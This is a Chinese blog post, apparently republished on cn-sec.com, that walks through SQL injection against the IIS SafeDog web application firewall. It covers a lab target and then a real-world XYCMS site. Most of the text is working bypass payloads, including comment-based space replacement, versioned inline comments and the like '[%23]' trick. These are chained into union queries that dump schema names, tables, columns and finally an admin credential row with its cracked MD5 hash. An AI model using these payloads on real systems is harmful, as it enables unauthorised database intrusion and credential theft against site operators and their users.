SQL注入实战之绕过最新IIS安全狗【含XYCMS实战SQL注入】

admin 2023年3月13日07:24:30评论102 views字数 5683阅读18分56秒阅读模式

获取目标基本信息

SQL注入实战之绕过最新IIS安全狗【含XYCMS实战SQL注入】

用插件看就行

中间件是IIS8.5 脚本语言PHP

Nmap扫一下可知是MYSQL数据库

注入点判断绕过

判断是否存在注入:

首先这里的话是尝试一个1=1,发现是不可以的

更换成true=true进行尝试 任然不行

或者-1=-1 也是被拦截

此时发现当and后面没有空格的时候就会报错
http://p1.com/vul/sqli/sqli_str.php?name=vince%20and1=1--+&submit=%E6%9F%A5%E8%AF%A2

我们这里尝试用/*/来充当注释符代替空格

http://p1.com/vul/sqli/sqli_str.php?name=vince%20and/*/1=1--+&submit=%E6%9F%A5%E8%AF%A2

发现还是被拦截

此时我们就利用bp来进行fuzz,抓包后在/*/中添加变量(为爆破做准备)

发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下:

' and/*////*/1=1 --+

绕过成功

内联注释绕过:
就是/*!00000*/这种的
这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。
当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000)
就会将注释中的内容执行,否则就会当做注释来处理。

我们构造如下/*!000001*/=/*!000001*/语句尝试进行绕过

发现失败
我们加上前面的注释
vince%27%20and/*////*//*!000001*/=/*!000001*/%20--+&submit=%E6%9F%A5%E8%AF%A2

成功绕过

Order by 绕过

判断字段数被拦截:

’ order by 3--+&submit=查询

直接利用的话可以发现是不可以的
由1=1的构造思路,我们尝试构造空格来进行绕过

构造payload如下

vince' order/*////*/by 2 --+

vince' order/*////*/by 3 --+

vince' order/*////*/by 4 --+

联合查询绕过

首先的话是想利用内联注释来进行一个绕过

因为单独的一个union和单独的select都是可以的

但是一起查询会被拦截

我们前面发现fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下

来进行一个绕过

测试过程如下

选择暴力破解 字符集进行更换即可

GET /vul/sqli/sqli_str.php?name=vince%27%20union/*§§*/select%201,2--+&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
/!*!*
发现有很多可以绕过的,随便选一个来进行测试,构造payload如下

vince' union/*/!*!**/select 1,2--+
' union/*//--**/select 1,2--+

' union/*/!--**/select 1,2--+

' union/*/-*!!*/select 1,2--+

爆出库名

直接爆出库名失败,失败中的失败,草泥马安全狗

我们延续前面的思路

' union/*/!*!**/select 1,database/*///-*/()--+

成功回显库名

而后选暴力破解,设置如下

得到结果

随机取出一个进行测试,构造payload如下

我们设置payload为/*!()*/这种
利用bp在括号前面加上五个数字
依次来检验哪个可以进行绕过


' union/*/!*!**/select 1,database/*!20553()*/--+

成功绕过

爆出表名

正常的语句

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
group_concat(table_name) from information_schema.tables where table_schema=database()

那么这里的话我们测试过后就会发现information_schema被过滤了,只要在一起挨着就会被过滤

同时呢,我们也发现利用from的时候也会被过滤

对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况

因此此时的话就自然的想到了内联注释这种方法 先尝试一下

from/*!information_schema.tables*/

结果如下

草泥马

但是我们知道还有一种的话就是内联注释的利用方法

就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式

当运用内联注释时,里面插入/*,来构造/**/,也是可以实现绕过的

此时我们先试第一种方法

' union/*/!*!**/select 1,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='myp1'--+

cnm

那我们就用第二种方法进行尝试(%23有可能被过滤)

' union/*/!*!**/select 1,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='myp1'--+

cnm安全狗你他妈也有今天?

爆出列名

有了表名的注入,那么注入列名也不是件太难的事情

修改一下语句即可

' union/*/!*!**/select 1,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

爆字段信息

同理,修改语句即可

' union/*/!*!**/select 1,group_concat(id,username,password)from/*!--+/*%0ausers*/--+

其他姿势

like["%23"]

我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢

首先先正常查一个字段信息

select * from users where id=1 ;

此时可以发现有一个结果,我们加上我们的like["%23"],构造payload如下

select * from users where id=1 like "[%23]";

此时表变成空的了,那我们如果此时这样构造payload

select * from users where id=1 like "[%23]" union select * from users;

我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于

select * from users

如下图所示

那么此时我们就可以去我们的靶场进行测试,看是否能绕过

' like "[%23]" /*!10440union%0Aselect*/ 1,2 --+

此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload

//爆库
1' like "[%23]" /*!10440union%0aselect*/ 1,database/*!--+/*%0a()*/ --+

//爆表
1' like "[%23]" /*!10440union%0aselect*/ 1,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='myp1'--+

//爆列
1' like "[%23]" /*!10440union%0aselect*/ 1,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+

//爆字段
' like "[%23]" /*!10440union%0aselect*/ 1,group_concat(id,username,password)from/*!--+/*%0ausers*/--+

实战XYCMS+安全狗 注入

在网站查找注入点,也就是可能会和数据库有交互的地方

?id=13可知此处可能与数据库有交互,之后在此处进行测试

注入点判断与测试

13 and 1=1       13 and 1=2        //int型注入

13’ and 1=1--+ 13’ and 1=2--+ //char型注入

绕过方法

13 and/*////*/1=1
13 and/*////*/1=2

可知为int型注入

猜列数

order by 列数 //查看数据的列数,常用二分法

13 order by 10 //正常显示 order by 11 //不正常显示

绕过

12 order/*////*/by 10
12 order/*////*/by 11

得到列数为10

回显数据

id=-13 union select 1,2,3,4,5,6,7,8,9,10 //联合查询
被拦截

绕过:
' union/*/!*!**/select 1,2,3,4,5,6,7,8,9,10

like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,6,7,8,9,10
null 5523

union
selecct
得到会先点 2,6,7,8,10
union/*/!*!**/select 1,database/*/!*!**/(),3,4,5,user/*/!*!**/(),7,8,9,version/*/!*!**/()
也不行

union/*/!*!**/select 1,database/*////*/(),3,4,5,user/*////*/(),7,8,9,version/*////*/()
也不行

union/*%!"/*/select/*%!"/*/user()/*%!"/*/,/*%!"/*/database()/*%!"/*/,/*%!"/*/version()/*%!"/*/,4,5,6,7,8,9,10
也不行

-13 /*!11544union/*!11544select/*!115441,2,3,4,5,6,7,8,9,10*/--+
也不行

1.
union/*!90000zero*//*//*/select user/*!90000zero*//*//*/(),database/*!90000zero*//*//*/(),3,4,5,6,7,8,9,10
可以绕过

-13 union /*//--/*/ /*!--+/*%0Aselect/*!900001,*/database /*//--/*/ (),3,4,5,6,8,9,10
也不行


union%20/*//*//*!78767select*/1,2,database(/*!89889*/),3,4,5,6,7,8,9,10%20--+

也不行

2.
13 like "[%23]" /*!10440union%0aselect*/ 1,database/*!--+/*%0a()*/,3,4,5,6,7,8,9,database/*!--+/*%0a()*/ --+

可以绕过
database
/*!
--+/*
%0a
()
*/

获取表名

union select 1,2,3,4,5,6,7,8,9,table_name from information_schema.tables where table_schema='xycms' 
-13 union/*!90000zero*//*//*/select user/*!90000zero*//*//*/(),database/*!90000zero*//*//*/(),3,4,5,6,7,8,9,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='xycms'
可以绕过

-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,6,7,8,9,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='xycms'
可以绕过
获取列名
-13 union/*/!*!**/select 1,2,3,4,5,6,7,8,9,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='manage_user'

-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,6,7,8,9,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='manage_user'

获取数据

-13 union/*/!*!**/select 1,2,3,4,5,6,7,8,9,group_concat(id,m_name,m_pwd,c_date)from/*!--+/*%0amanage_user*/--+

-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,6,7,8,9,group_concat(id,m_name,m_pwd,c_date)from/*!--+/*%0amanage_user*/--+

得到数据

1   admin  21232f297a57a5a743894a0e4a801fc3   2011-11-23 20:53:08

md5解密得到 admin admin

原文始发于微信公众号(猫因的安全):SQL注入实战之绕过最新IIS安全狗【含XYCMS实战SQL注入】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月13日07:24:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入实战之绕过最新IIS安全狗【含XYCMS实战SQL注入】http://cn-sec.com/archives/1230586.html

发表评论

匿名网友 填写信息